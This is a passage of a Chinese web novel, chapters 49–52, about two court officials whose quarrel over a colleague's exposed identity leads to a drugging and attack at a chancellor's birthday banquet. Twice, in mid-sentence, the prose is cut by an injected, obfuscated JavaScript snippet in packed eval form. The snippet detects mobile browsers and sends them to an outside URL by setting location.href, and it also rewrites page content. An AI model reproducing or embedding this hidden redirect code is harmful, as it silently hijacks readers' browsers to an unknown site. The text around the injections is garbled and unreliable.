蔡真点点头,转身离开,脚步飞快,像是逃走似的。 郑观澜按了按咚咚跳的心口。 她……也不是那么没良心嘛。 然而,在到了值房后,郑观澜这个想法立即就被他抛在了脑后。 院内,闻蝉和大黄耳在疯跑着,开怀大笑的声音毫不掩饰。 郑观澜站在门口,重重砸了两下门。 这不是挺开心嘛! 一人一狗这才发现了他。 大黄耳“汪儿”了一声,热情扑上来,尾巴摇得快要飞出去似的。 郑观澜嘴角翘起,摸了摸它。 闻蝉走到他面前。 “哟~放出来了?” 听听这话!说的好像他进了监牢似的! “让你失望了。” 闻蝉点头:“有点。” 郑观澜气得嘴都歪了,也不再摸狗,扭头进了值房。 门被他摔得砰得一下响。 “摔门干嘛?”闻蝉推开门,倚在门边,语气吊儿郎当的,“摔坏了可得赔钱。” “赔得起。”郑观澜背对着她,整理着桌上堆成小山的文书,“这些都是你自己该做的事。” 闻蝉凑到他面前,嬉皮笑脸的。 “生气啦?” 郑观澜别过头:“没。” “别这样嘛,和你开个玩笑。”闻蝉俯下身,撑着脸,“你不在可没意思了,还挺想你的啊。” 郑观澜瞥了她一眼。 “满口谎话。” “那你信不信嘛?” 郑观澜眼角微微弯了弯,像是在笑。 “不信。” …… 再过几日就要入冬了,这段时日天色日日阴沉,见不着阳光,即使是白日都是灰灰的。 大黄耳趴在院子里呜呜叫着。 二人站在狗面前。 郑观澜不免担忧。 “大黄耳是不是病了?” 闻蝉很了解自己养大的狗。 “没什么,它就是喜欢晒着太阳,等过几日放晴了就好。” 郑观澜这才放下心。 “我先去把昨日的文书交给蔡少卿。” “诶诶!”闻蝉拉住他,“傻了你?还记得今儿是什么日子吗?” 郑观澜皱眉。 “什么日子?” “今日是朔日啊!” 初一朔日,十五望日,这两日举行的朝会称之为朔望朝,相较平日的朝会,规模更大,时间持续得也更久。 “忙晕头了。”郑观澜捂着头。 “嘿!”郎荣忽然闯了进来,“听说了吗?” 二人齐齐看过去:“听说什么了?” 郎荣搓着手,走上前,一副神秘兮兮的样子。 “前日晚上,颜驸马在平康坊抓了好些人!全是世家子弟。”他说完才想起郑观澜也是,急忙补充道,“没有你们郑家的啊!” 闻蝉瘪瘪嘴:“早就知道了,你消息可真不灵通。” “你和颜驸马关系不错。”郎荣伸长了脖子,“你知道为啥抓人不?” “这谁知道啊……”闻蝉心里也奇怪着。 自从七夕那日之后,颜青就没怎么出现过,前段时日又出了京城,才回来就不要命似的抓人。 “若有什么,等今日朝会结束,自有结果。”郑观澜还是老神在在。 郎荣摸了摸鼻子:“也是哈,我先去寺卿那儿守着!等寺卿回来我就给你们通报消息!” 他这一去就一直没见人影,一直到午后才晃荡着走了进来。 “天哪……” 大黄耳耳朵动了动,斜着眼看了他一眼继续闭上眼趴着。 正忙着的二人走了出来。 闻蝉看对方一副神都飞走的样子,不免觉得好笑。 “怎么?是什么消息?把你吓成这样?” 郎荣看了看郑观澜,眼神闪了闪,才说道:“颜驸马……是女的。” 闻蝉耳朵嗡得一下响了。 “她被拆穿了?!” 在场的二人,一个还在消化刚刚得到的消息,一个脑子已经完全宕机,都没有注意到闻蝉话里的不对劲。 “是啊,而且……还是平陶公的女儿。”郎荣拍了两下胸口,“蔡少卿说的,保真。” 这倒是让闻蝉更傻眼了。 平陶公不就是那个退位了的皇帝吗!颜青是他的女儿?那她和公主成亲是怎么回事?皇帝知不知道? 她深吸一口气,努力让自己冷静下来。 “郎荣,你从头到尾说说,到底是怎么回事?” 郎荣晃了晃头,整理好思绪。 “今日朝会刚开始,颜驸……怀庆郡主就站出来告发有人谋反。” “谋反?” “是。这谋反的案子要从青石县香桂村的案子说起,她说凶手根本不是那个县令柳自然,而是一个商人,那人利用村民开采铜矿,后因突发地动,村民被埋入山中。为了不暴露其罪行,他将村民全部毁尸灭迹。而且她还在那个商人处搜到了太安经!” 郑观澜低呼出声。 “太安经!” 几十年前,一位叫做张鹿的道人聚集信徒自称为太安道,揭竿起义,剑指昏君。 可惜,其弟子谭真叛变,张鹿兵败身死,太安道也被打上了逆贼的标签。 而《太安经》是张鹿当年用来传教的经文,自然被被朝廷列为了禁书。 “张鹿死后,太安经全部被毁掉,谁家有太安经的一律视作反贼。能藏有太安经的人绝对是太安道之人。” 郎荣点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928804|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“郑评事说的没错。根据郡主所言,她以此为线索,还查出了这些人售卖五石散的事情。而前段时日,她去了梁州,抓了一群反贼,那些反贼供出了一个人……” “谁?” “梁州水陆转运使——王统!” “开采铜矿,私铸钱币,售卖五石散……”郑观澜摇头,“王家真是疯了。” 郎荣说道:“看来算计你们家的应该也是王家。” 郑观澜点点头,很是赞成。 柳自然一直在她手里,太安道的事颜青也给她透过底,闻蝉更关心其他。 “那……怎么又扯到了颜青的身份?” 郎荣摆摆手:“别提了,当时郡主刚把这案子说完,王家的一个御史就跳出来揭了郡主的身份。后来公主也来了,那叫一个乱,都打起来了。那个王御史很是不要脸,竟把郡主衣襟扯开了!那衣襟一扯开,便露出一件内甲,只要不瞎都看出郡主是女子了!” “之后呢!” “正闹得下不了台的时候,平陶公夫妇亲自来了。”郎荣摊手,“陛下几句话就把事儿抹了。” 二人陷入沉默。 闻蝉放了心。 皇帝善待平陶公一家,颜青肯定不会有事。 郑观澜知道的不多,只觉得脑子跟浆糊一样,眼前总是闪过,他在贡院捉到肃王从颜青房里出来那一幕。 郎荣见二人不说话,继续说道:“依我看啊,定是义阳公主不乐意成亲搞出来的事儿!” 闻蝉回过神,下意识点点头。 有人赞同自己,郎荣更来劲儿了。 “是吧是吧!我就知道,别人都这样说,连寺卿也是这样认为的!别说啊,我们也真够傻的,那颜……郡主水灵灵一个小娘子天天在我们跟前晃悠,我们还真没认出来?” 闻蝉看了他一眼,眼神有些复杂。 “是啊……” 她可和他们不一样。 郎荣却忽然变了脸色,支支吾吾的。 “啊……那个……那个!阿蝉啊!我……少卿!是少卿!他说找你有事儿,让我带你过去。” 闻蝉想着应当是柳自然的事情,跟着他出了门。 没想到一出门,郎荣就颇为鬼祟把她拉到一边。 “我有话单独和你讲!” 闻蝉拍开他的手。 “直说。” 郎荣压低了声音:“我给你提个醒,你要小心……郑观澜!” “他?”闻蝉一脸莫名,“他怎么了?” “你不知道……”郎荣面露不屑,“今日在朝堂上,是郑观澜的大伯就是中书令也掺和了一脚。他亲口说,是郑观澜告诉他,颜驸马形迹可疑,是个女子。我原还以为他是个正派人呢,没想到也是个两面三刀的。别人颜……郡主多随和的人啊,要不是她本是平陶公的女儿,这次铁定得被他们害死!还是朋友!有这样的吗?” 闻蝉沉默了片刻,扯出一个笑。 “也不奇怪,颜青这个身份本是颜家人,郑家为了打击颜家什么做不出来?他到底是世家子弟,自然不能掉以轻心。” 见对方这样明白通透,郎荣放心了。 “我还怕你真对他露底呢!” “那少卿找我真有事吗?”闻蝉的手在衣角擦了擦。 “他只让我传话,说让你把人放出来,送去平陶公府。我这不是找由头叫你出来单独说话呢嘛!” 闻蝉掏出一枚钥匙递给他。 “验尸房后那一排小屋,第二间,你帮我跑一趟。” 郎荣接过钥匙:“你自己不去?” 闻蝉挽起袖子。 “我,还有事!” 50. 冬来严霜结 郑观澜越想越觉得可笑。 因着何素的缘故,他还真没联想过颜青的身份,以为她只是一样的男生女相加上岁数小,等长开了就好了。 还有王统的事情。 他表情严肃了起来。 王家的情况他很清楚,却完全没有发现这些人的蛛丝马迹。 看来他得扩张自己的人手了。 这一点,他只能求助自己的舅舅。 想到此处,他便提起笔写下一封信。 信刚写完,门口就传来一声巨响。 只见闻蝉冷着脸,气冲冲走了进来。 郑观澜立即将信夹在书中,也不管这信上的墨汁都还未干。 这一幕落到闻蝉眼中就别有意味了。 这是知晓了自己诡计没有得逞,准备和家里通风报信吧? 怒火上头,她也管不了许多,几步就跨到了对方的面前。 这来势汹汹的模样让郑观澜有些反应不及,下意识站起身,手按在书上。 “少卿不是要见你吗?怎么这么快就回来了?” 闻蝉眼神在他手下的书上停留片刻。 “是打扰你了。” 郑观澜有些摸不着头脑。 “什么?” “以后都不会了。”闻蝉嘴角扯了扯,“隔壁院子还空着,你自己找个时间搬过去吧。” 郑观澜也不是好脾气的人。 “你发什么疯?” 闻蝉挑了挑眉。 “只是为求自保,引狼入室这种事我可不敢做,毕竟我还没平陶公这样的父亲撑腰呢?若是有一日被什么小人背地里捅刀子也只能认栽!” “什么平陶公?” 闻蝉见他装傻,更是来气。 “若要人不除非己莫为!是你大伯,亲口在朝堂上说你指认颜青形迹可疑!颜青哪里对不起你了?你要这样害她?若她不是平陶公的女儿,这次定然要被砍脑袋。” 郑观澜吼了出来。 “我没有!” “怎么?难道这话还是你大伯编的?”闻蝉翻了个白眼。 郑观澜一时不知该如何解释。 闻蝉微微眯起眼。 “我不傻,你们那些门道我清楚得很。王家和你们家关系最好不过,你们就是想要一起借此扳倒颜家嘛!真是可怜了颜子光,还把你当最好的兄弟!” 郑观澜看她双眼都发红了,只得强迫自己冷静下来。 “从头至尾,大伯只在我面前提到过一次颜青,我也从来没说过她一句形迹可疑这样的话!我一直都误以为她是男子,就连……” 他停下话头,硬生生把肃王那件事咽了下去。 “反正我没有,是你误会了。” 闻蝉是不会信他的。 谁不知道?郑士化对郑观澜比对亲儿子还好,怎么可能编他的瞎话? 她走上前拿起桌上的文书。 “我帮你搬!” 郑观澜一把按住。 “我是上官,要走也该是你走!” 闻蝉气急,手一松,一掌打了过去。 郑观澜反应及时闪身让开。 “怎么?你又要‘切磋’?” “是啊!你怕了?” 郑观澜被冤枉得心中气闷,也失了理智,真和她打了起来。 二人一拳一腿,毫不手软。 等柳自然到院内的时候,院子已经一片狼藉。 二人也完全没看见他和郎荣,拳头都快挥到他眼前了。 “啊!”他哪里见过这场景,吓得呼了一声。 郑观澜一时分心,闻蝉可不会收手,一掌直接击在了他的脖颈处。 人被一下打得飞退几步。 郎荣趁机一把拦住闻蝉。 “冷静冷静!” 闻蝉喘着气,一点点回过神。 郎荣见气氛缓和,才松开手。 “你们俩也是,咋又开始切磋了?啊?哈哈!” 柳自然站在一边,手足无措。 “你是何人?”郑观澜站起身,拍了拍衣裳上的灰。 柳自然拱手道:“在下被人所冤,一直由闻录事照料,此次沉冤得雪,前来拜谢闻录事。” 闻蝉此时已经恢复了平静,她摆摆手:“是陛下圣明,我只是做了分内之事。郎荣应该都告诉你了吧?平陶公一家已经安置下来,你可先去其府中拜见。” 柳自然也很不自在。 “是,那在下先告辞了。” “慢走。”闻蝉又拍了一下郎荣,“去,送客。” 郎荣猜到发生了什么。巴不得能走!当即拉着柳自然溜了。 院内只剩下二人,一直趴在角落的大黄耳忽然“汪儿”了一声。 闻蝉抱起狗,回了自己的值房。 门窗都关得紧紧的,看得人心烦意乱。 郑观澜站在院内,脑子乱乱的。 自己的大伯行事…… 他不敢保证,但闻蝉听到的传言很有可能是真的。 郑家和颜家一直暗地里较劲。 还有颜青…… 她虽是个女子,可是的确是个值得相交的朋友,若她也误会了自己…… 得去把这事情解释清楚。 他回头看了一眼那紧闭的门窗,快步离开。 …… 平陶公府门口。 自称自己来看望姑母的颜子光和奉了凤命的陆行对峙着。 看着二人打嘴仗,郑观澜心里只有两个字——后悔! 他就该晚点来的!怎么忘了平陶公夫人也是颜家人这一茬! 终于,管事走了出来把几人请了进去。 平陶公一家三口和柳自然都坐在一起。 这还是郑观澜第一次看到传言中那位退位的皇帝——平陶公。 他笑起来的时候和十六很像,眼睛弯弯的,像一只狐狸,只是气质十分脱俗,一点儿也不像个皇帝,反而像个方外之人。而颜夫人气质就和十六很像了,一身书卷气,只是其容貌更盛,看着有几分十六所没有的冷傲。 至于十六…… 穿了女装的颜青,是个很漂亮的小娘子。 郑观澜想扇自己。 他就是个瞎子!还以为肃王癖好…… “哇!”颜清越大呼一声,“郑六,你脖子怎么了?” 众人的目光汇聚,郑观澜抬起手遮了遮淤青。 “不小心撞的。” 颜清越坏笑。 “啊?是吗~我怎么看着像是被人打的呀~” 其他人也一脸不信。 肯定是柳自然说的! 郑观澜不再回答,反而说道:“你看错了。我来是替闻录事带个话,说是之前的卷宗先放在她那里。我们都很吃惊你的身份。” 卷宗是假,最后一句才是目的。 颜清越眨眨眼:“你们不知道才正常,我不听别人的胡话。” 郑观澜终于松了口气,可是一想到闻蝉…… 该怎么解释呢? 他出着神。 不知过了多久,管事走了进来。 “阿郎,夫人,郑士怀郑先生来了。” 郑观澜回神。 他家三叔来干嘛? 颜清越说道:“郑先生定然是来找郑六郎回家的。我好久没见郑先生了呢!之前郑先生就指导过我的书画,我还没谢过他啊!” 一直淡然的平陶公表情却不太好看了,语速也变得飞快。 “是吗?那改日就要好好去谢过他了。我就不留郑六郎了。” 郑观澜早就想走,只是不好开口,一见有机会,立即顺着说道:“晚辈先告辞了。” …… “三叔,你怎么过来了?”郑观澜一见到郑士怀就问道。 郑士怀面露尴尬。 “听说你在这儿,我也要去找你父亲,顺道来接你。” “我又不是孩子了,还需要人接吗?”郑观澜觉得有些好笑。 叔侄俩边走边说着话。 “你……怎么在平陶公府?”郑士怀眉头紧紧皱着。 郑观澜这才觉着不对,解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933105|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“今日……大伯在朝堂上说是我指认了颜……郡主的女子身份,我来和她解释。”他强调道,“到底是朋友,我不能让她以为我是这样的小人,别无他意。” “大哥他……”郑士怀欲言又止,犹豫了许久才说道,“很多时候,朝堂上的事都由不得自己。三叔信你,不会是这样的人。” 这一点,郑观澜一直都明白,也接受。 可是今日……一想到闻蝉那冷冷的眼神,他心里总觉得不舒服,像是吃多了糯米团子,难以克化,积压在内。 见他不说话,郑士怀劝道:“郑家早已骑虎难下,你也看见了,即使我们坐以待毙,那些人也不会放过我们。这次被关禁闭,除去我们三房,连旁支都没有跑掉。你大伯身在其位,也是无奈。” “我……不是怪他。” 虽说郑观澜自小就被寄予厚望,但郑士怀最心疼的就是他。 因为他没得选,郑家数百口的性命以及百年荣耀日后都压在他一人身上。 “凡事别多想,想多了只会让自己难受!”郑士怀一把搂住他肩膀,“走!我们去喝一杯!” 郑观澜不由就跟着去了。 酒馆里,郑士怀正和他说着自己新淘到一本前朝诗集,说得唾沫横飞。 而一向和他投机的侄子却魂飞天外,只闷头一杯一杯喝着酒。 “诶诶诶!”郑士怀夺过酒壶,“喝酒当为助兴,而非浇愁,六郎啊,你这样可不行。” “我没有浇愁。”郑观澜定住飘忽的眼神。 郑士怀把酒壶放在一边,坐近了些。 “你今日很是不对劲,和三叔说说,到底是怎么了?三叔保证不告诉你大伯和爹娘!” 郑士怀和郑家其他人不太一样,他不入仕也从不插手正事,反而让人放心亲近。 “我……”郑观澜说道,“有个朋友误会了我,我不知该如何办。” 郑士怀眼珠子转了转。 “不是颜九郎吧?” “不是。” 郑士怀了然一笑,大掌使劲拍在他肩上。 “去解释啊!男子汉大丈夫,这点儿胆子都没有吗?” “我……”郑观澜就是舍不下面子。 明明就是她闻蝉蛮横不讲理! “又不是仇人,低低头怎么了?”郑士怀把人推开,“快去快去!” “大理寺这个时候也散值了……” “是同僚啊?”郑士怀认真了些,“若是同僚就更得解释清楚了,耽误了公事可了不得。” 郑观澜像是被推搡着站起来的,身子都还不稳。 “对,您说得对,只是为了不耽误公事。” 只是为了不耽误公事…… 他的脚步越来越快,在人群中逆行。 去颁政坊,他记得,郎荣提到过,她住在东边的第三条小街的头一户。 是这里吧。 他站在关着的木门前,缓缓抬起手敲了一下。 敲门声又小又轻,却得到了及时回应。 “谁!”闻蝉的声音很是响亮。 “是我。” 门被打开一条缝,闻蝉探头出来,讶异了一瞬。 对方从来收拾得体面妥帖一丝不苟,此时却连头发都乱了,挂在腰间的香囊玉佩都缠成一团。 “你怎么来了?” 郑观澜的气息有些急促,连带语速也快了不少。 “我没有说那些话,更没有背叛朋友。” 闻蝉沉默了片刻,语气很是淡漠。 “你是什么人和我没有关系。” 鼻尖一凉,天上骤然飘下大片大片的雪花,灰白灰白的,随着风全部吹到脸上。 郑观澜一个激灵,眼神陡然变得清明起来。 是啊……和她有什么关系。 他只是……只是怕耽误公事,才像个傻子一样,跑到这个四周都是夯土房子的不体面地方来。 仅此而已。 “告辞。” 他转过身,缓缓踏过那一条小路,只留下带着雪花的浅浅脚印。 51. 赴宴 自那一日后,郑观澜主动搬到了隔壁院子。 二人之间也不再争吵,连话都不再多说,仿佛陌生人一般。 知晓了情况的徐数也没有多插手,只让闻蝉如同之前和卓啸一起办案,而郑观澜则跟着蔡真的时间更多。 反倒是蔡真有些不安,二人独处之时,忍不住对着自己的上司发问。 “阿蝉和郑评事这样下去也不是个事吧?” 徐数有些莫名。 “我看也没闹翻脸,你急什么?难不成郑家六郎在你手下不听话吗?” “这倒不是,只不过……” 徐数打断了他。 “你不会是想撮合他们吧?!” “怎会!”蔡真急得脸都红了,“我哪里有这个意思!我只是想着……都是同僚,低头不见抬头见,阿蝉又是唯一的仵作……” 徐数大呼一口气。 “吓煞我也,我还以为你真有这想法呢!” 蔡真摇头:“我是不愿意的。” “那岂不是正好?”徐数蔑了他一眼,“原先你提出让二人搭着干活儿我就觉得不妥,俩人年龄相近,孤男寡女的……要是这个郑六郎真上了心,我还怕阿蝉受委屈呢。” “这倒也不会。”蔡真的声音很模糊,有些让人听不清。 “你说什么?” “我说……阿蝉可不会吃亏。” 徐数摇摇头。 “对于阿蝉来说,和这些人只要扯上关系就是祸事,你不懂吗?” 他下了决定。 “依我看,现在这样最好!阿蝉也快二十六了,过几日丞相过寿,想必有不少品行上佳出身又不豪贵的青年才俊也要去。你家夫人到时候帮着阿蝉挑一挑。还有你方才说的仵作那事,我已经让人去找了几个,年后就进京,到时候她也能松快不少……” …… 寿宴当日。 闻蝉早起打扮了一番坐上了蔡家的马车一起前往葛家。 李九珠还是念叨着老一套。 “你姑母也真是,那日说起你的婚事,她竟然还犹豫?你也不小了,家里还是得有个知冷热的人。”她扳着指头说着,“这头一条得长得俊,个头也得高,什么都是假的,唯独容貌做不得假……” 闻蝉看了一眼年近半百依旧“风韵犹存”的蔡真,点了点头。 蔡真点了一下她的脑袋。 “这第二,家里人得好相处,人品好,能被阿蝉拿捏,最好是一家子软蛋!” “夫人……”蔡真想要说这要求很离谱。 李九珠瞪了他一眼,继续说道:“要么是家里有些祖产的要么得是清闲衙门的,可不能让阿蝉舍了自己的差事,家里的事儿得让他操心才行。” 闻蝉合上眼:“得打着灯笼找啰!” “找不着就慢慢找,反正可不能将就!”李九珠拉着她说道,“你不是和胡娘子关系好吗?让她打听打听,周仪有没有认识从北边退下来的人?有军功又清闲,多好啊!” 闻蝉嘴上应下:“唔唔,我知道了。” 蔡真终于开口。 “好了,夫人。胡娘子也还小,你不如等会儿去和护国公夫人她们商量。” “夏夫人她们今日来不成……她娘家那位老姑母去世,奔丧去了。” “那就找你那几个闺中密友商议,这种事她们几个小孩子可做不了。”蔡真说道。 李九珠被牵走了思绪。 “是,也可以和她们商量……” 马车缓缓停下,三人下了马车,随着引导的仆人进入葛府。 葛家面积不小,但是十分简朴,即使是门楣上也没有过多精巧装饰。 虽说今日是丞相大寿,装饰一新,也只是挂上了写红绸彩灯,让人觉得发自内心的热闹喜庆。 快到后院时,一个婢女忽然过来拦住闻蝉。 “奴婢见过蔡少卿、李夫人、闻录事,胡娘子命奴婢来请闻录事去院中相聚。” 闻蝉不疑有他。 “蔡叔,李姨,那我先去找胡娘子了?” 李九珠笑着点头:“去吧去吧。” 跟着仆人沿着游廊朝后院走去,刚拐了一个弯,一个高大的身影陡然挡住了去路。 那是个相当俊朗的男子,剑眉星目,只是表情太过肃穆,让人看了忍不住心里发怵。 引路的仆人弯弯腰,转身不见踪影。 闻蝉看着面前的男子,一下反应了过来。 “是肃王殿下寻我有事?” 陆行点了一下头。 “本王想请你带清越和颜夫人去见一个人。” “清越?”闻蝉挑眉,“是她的本名?” “是。她随母亲姓,叫颜清越,不姓陆。”陆行强调完这一点,耳朵都红了,“本王出面。不太妥帖,只能劳烦你出面。” 闻蝉对陆行印象很好。 是他弄得李翎不能科举又打了李成芳一百杖! “去哪里?见什么人?” “客院东边第二间房,张家的颜夫人在那里。”陆行拱了拱手,“有劳了。” 张家的颜夫人是颜清越母亲的亲姐姐。 二人都是逆贼颜茂的亲姐妹,想必是因此才要避人耳目。 “殿下不必客气,我和她是朋友。”闻蝉原来只听说肃王不讲人情,没想到内里竟然是个十分温和的人,态度越发好了。 陆行板肃的脸上露出浅浅的笑。 “她若知晓,一定会很高兴。” 等肃王离开了片刻后,闻蝉才沿着路去了前院摆席的位置。 一过去,她就一眼瞧见了换了女装的颜青,啊不,现在是颜清越了。 面容倒是没什么太大的变化,只是身形完全是小娘子的模样了。 闻蝉直接走上前。 “下官见过颜夫人,见过怀庆郡主。” 颜清越在看见她后,先是忍不住的高兴又是有些慌神。 她对着自己母亲说道:“阿娘,这位就是我给你提到过的闻录事。” 颜夫人看着十分冷傲,此时却带着温和的笑。 “原来这位就是闻录事,真是年轻有为。” 闻蝉也客气道:“夫人谬赞了。” 颜玉立主动道:“坐着也无趣,你们几个孩子一起去玩儿吧。” 颜清越好动,一下窜起来了。 闻蝉笑道:“方才听宝应县主说后院的腊梅开得正好,夫人也一起吧?” 颜清越和她交换了一个眼神,仿佛明白了什么,拉着自己阿娘撒娇。 “走嘛,阿娘,和我们一起嘛~” 自己女儿如此可爱,颜夫人止不住笑。 “行行行,听你的。” 成功带着二人离开宴会,一到没人的地方,闻蝉就解释道:“其实下官是受肃王殿下所托,带二位去客院见张家的颜夫人。” 一提到这话,颜玉立声音都在发颤。 “劳烦你了。” 闻蝉有些同情她。 “夫人客气了,晚辈和郡主是好友,怎么能说麻烦不麻烦呢。” 听了这话,一直挨挨蹭蹭的颜清越一下就攀了过来,小声和她说道:“对不住,我当时骗了你……” 闻蝉才不计较这点事。 “你以为我没看出来?别忘了,我可是仵作!” 颜清越眼睛都瞪圆了:“你早就看出来啦?!” “当然!在郡公府那次我就看出来了。” 三人走到客院,停下脚步。 闻蝉正要给二人指路,却看见了一个意料之外的人——郑观澜。 他正站在门口。 闻蝉脸上的笑瞬间收敛。 郑观澜主动上前。 “下官见过郡主,见过颜夫人。” 颜玉立对他态度也不错,颔首算是见过。 “闻录事也在?”郑观澜转头问着闻蝉,语气比方才的软和多了。 闻蝉却凝神看着不远处的牡丹,像是没听见似的。 颜清越看着二人暗流涌动,尴尬笑了笑,忍不住扯了扯闻蝉的袖子。 闻蝉依旧不理。 颜清越可不敢插手这对冤家的事。 “你们慢慢聊,我们……先走了?” 闻蝉指了指东边第二间房。 “二位慢走。” 颜清越拉着自己母亲“逃离”现场。 此刻,游廊内外,只剩下二人。 闻蝉没有打招呼的打算,扭头就走了,没有丝毫迟疑。 郑观澜抬起手,又放了回去,终究只是站在原地看着。 一直到宝应出来。 “表哥!你怎么站在这儿来了?” 郑观澜看了她一眼。 “闻录事路过此处。” “真的?!”宝应眼睛一下就亮了,笑得十分灿烂,“我好久没见着她了,她人呢?” “往后院赏花的地方去了。”郑观澜补了一句,“你自己去找她吧。” 或许,只有见了宝应,她才不会那么烦心…… …… 闻蝉一到腊梅花林就被宝应追上了。 “闻姐姐!”宝应抱着她的胳膊不放,“你今日竟然来了!” 闻蝉笑着解释道:“我和胡娘子关系好,应邀而来。” “你和她也认识呀?” “是,认识许久了。” 宝应是格外喜欢美人的,当即脸都红了。 “我们可以一起玩吗?” 闻蝉牵起她 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“你才是很漂亮呢,京城的人没有骗人。” “县主谬赞了。”胡久宁也没忘记自己的那位妹妹,拉着旁边的一个相貌平凡的小娘子介绍道,“这位就是丞相的侄孙女,葛溪妹妹。” 宝应对所有人多是抱有善意。 “你好呀。” 葛溪是有些紧张,但还是客气不失礼数地回了礼。 “见过县主。” 介绍完,胡久宁就问起了易家姐妹。 “神爱她们俩怎么没有来?” 闻蝉说道:“夏家那位老姑奶奶不是一直没有出嫁吗?去世前,她留下了遗嘱,说是要把自己那些财物都赠给夏家的孙辈还有她们姐妹。此次一回去,怕是就有不少事要处理,说不定地等十几日才能回来呢。” “那位老姑奶奶今年也七十六了吧?” “你记错了,是八十。” “也算是好命。” 闻蝉点头:“我一路上都被李姨催着婚事。”她敲了敲脑袋,“头疼。” “你姑母不催就好了。”胡久宁有些羡慕,“你姑母虽说唠叨,但是这一点真不错,从来不催着你成亲。” 深受家中困扰的宝应丧着脸:“我娘要也是这样就好了。” 一旁的葛溪没有说话,只老老实实倒着茶水。 几人正聊着。 宝应忽然叫了一声。 “表哥!” 只见郑观澜带着一个脸生的小厮走了过来。 闻蝉脱口而出。 “成生没来?” 宝应噗嗤一笑。 “成生昨日贪吃螃蟹,吃坏了肚子,今早一出门就……弄得表哥只能随便带了一个出门。难怪他一直臭着脸。” 她朝着郑观澜招手。 “这儿呢!” 郑观澜其实一进来就看见了闻蝉和宝应,只是…… 他硬着头皮走上前。 几人都不熟悉,只点点头就算是见过。 唯独闻蝉动都不动一下。 这些日子憋着的气让郑观澜忍不住了。 “闻录事,本官好歹也是你的上官吧?” 闻蝉站起身,动作极其浮夸地作了个揖。 “下官见过郑评事。” 声音抑扬顿挫,像是唱戏一般。 一说完,她也不等郑观澜开口就坐了下来,端起茶品了一口。 周围几人吃吃笑了。 郑观澜甩了甩袖子。 啪—— 茶盏落在地上,碎成几瓣。 郑观澜面色微变。 闻蝉直接拉下脸来。 偏偏碎的是她喝过的茶盏。 这个郑观澜是故意给她下马威吧? 郑观澜带着的小厮倒是个机灵的,急忙揽事。 “是小的莽撞,弄碎了茶盏。” 他跪在地上伸手去捡。 闻蝉最见不得这样。 一旁的胡久宁打着圆场:“碎碎平安,碎碎平安。” 其余人这才转开视线。 看着那小厮可怜兮兮的样子,闻蝉心里堵得慌,猛然站起身。 “我去透透气。” 宝应一把拉住:“闻姐姐,这过不了多久宴席就要开始了。你去哪儿啊?” 闻蝉指向前边儿。 “那有个荒院子,我去走走,你等会儿来找我就是。”她眼神在郑观澜身上刮过,“见人就烦。” 52. 飞来横祸 院子偏僻,没有人。 闻蝉一个人就在院子的枯树下兜着圈子,嘴里嘀嘀咕咕骂着。 “郑狗,郑狗……竟敢摔我茶盏。摔了还不敢认,让一个小厮背锅,呸!也算个男人……” 不知是不是转了太多圈,她脑子有些晕,就连视野都旋转了起来。 她急忙停下脚步,扶着树,按了按耳后的风池穴。 呼—— 一道极小的破空声在身后响起,闻蝉瞬间惊起一身鸡皮疙瘩,急忙转身。 然而,她此时才发现自己双腿发软,竟连站都站不住了! 一个黑影如同幽灵一般在她面前晃荡。 她努力伸出手把人推开。 那人侧身就躲开了。 “还真是厉害啊……能坚持这么久?” 闻蝉喘着气,没有再动。 那人见她已经要晕过去,伸出了双手。 就在此刻,方才还晕乎乎的闻蝉猛地抬起头,一把擒住他的手腕,反手一拧。 那人一时不慎,被按倒地上。 闻蝉自知自己已经没有多少力气,她用尽最后的力量将人一推,朝着出口跑去。 没想到,那人却如同鬼魅一般,近乎是飘荡着堵住了他的去路。 “你的小花招没有用了。” 他举起手刀,狠狠劈下。 客房内。 郑观澜端坐在桌边,恶狠狠灌下一口茶水。 “郎君……”小厮发着抖,“虽说您当时并非有意,可在闻录事眼里,就并非如此了,您还是去找她……赔个不是吧?” 郑观澜一个眼刀飞过去。 “又成我的错了?” 明明就是她……一直误会他误会他!总是把他想得很坏很坏! 小厮忙道:“小的不是这个意思……只是……只是……” 这结结巴巴的样子让人烦躁,郑观澜摆摆手。 “你先下去。” “啊?”小厮惊讶抬起头,脚下未动。 果然……不是自己院里的人就连话都听不懂。 “出去守着!” 小厮被吼得浑身一抖,不敢再多话,默默退了下去。 屋内归于平静,郑观澜却总觉得外头的风声都吵闹得很。 这个闻蝉,简直是蛮横不讲理到了极致! 一开始就是她误会自己,把自己赶出了院子,今日他大发善心看在同在大理寺的面子上主动求和,她还那般刁难! 郑观澜越想越觉得生气,气得脑子有些发晕。 他撑着额头,闭上眼,努力想要平复自己的怒气。 可是,没有丝毫作用,头越来越晕,甚至隐隐约约开始作痛。 片刻后,他手一滑,趴在了桌上,沉沉睡去。 …… 头好痛…… 意识被痛觉唤醒了些许,但是身上却无力动弹,仿佛睡了许久一般。 一股微苦的艾草气味让郑观澜缓了一口气。 这个味道…… 他心头一颤,猛地睁开眼,坐了起来。 眼前一片漆黑,仿佛在深夜一般。 身下柔软一片。 怎么会在床上? 他彻底慌了,下意识拉开床幔。 刺眼的白光自窗户射入,晃得他更晕了。 晕到竟然看见了闻蝉躺在他身边。 不对! 这不是幻觉! 手下温热的触感让他又清醒了几分。 